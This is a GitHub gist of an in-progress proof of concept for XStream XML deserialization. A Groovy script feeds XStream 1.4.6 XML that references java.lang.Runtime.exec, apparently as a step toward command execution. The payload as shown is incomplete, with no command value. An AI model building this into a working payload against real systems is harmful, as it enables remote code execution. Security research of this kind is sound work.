Created
December 26, 2013 12:03
-
-
Save DinisCruz/8132915 to your computer and use it in GitHub Desktop.
XStream PoC development
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /*<!--<method> | |
| <class>com.foo.MyThing</class> | |
| <name>doStuff</name> | |
| <parameter-types> | |
| <class>java.lang.String</class> | |
| <class>java.util.Iterator</class> | |
| </parameter-types> | |
| </method>()--> | |
| */ | |
| def groovyExecution = new GroovyExecution(); | |
| def projectLocation= eclipse.workspace.getRoot().getProject("XStreamPoC").getLocation() | |
| def xstreamJar = projectLocation.append("lib/xstream-1.4.6.jar").toString(); | |
| groovyExecution.addRefToGroovyShell(xstreamJar); | |
| def script = """ | |
| import com.thoughtworks.xstream.XStream; | |
| import com.thoughtworks.xstream.io.xml.DomDriver | |
| def xstream = new XStream(new DomDriver()) | |
| xml = \"\"\" | |
| <method> | |
| <class>java.lang.Runtime</class> | |
| <name>exec</name> | |
| <parameter-types> | |
| <class>java.lang.String</class> | |
| </parameter-types> | |
| <parameter-value> | |
| </parameter-value> | |
| </method> | |
| \"\"\" | |
| return xstream.fromXML(xml); | |
| return xstream; | |
| """; | |
| groovyExecution.executeScript(script); | |
| return groovyExecution; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment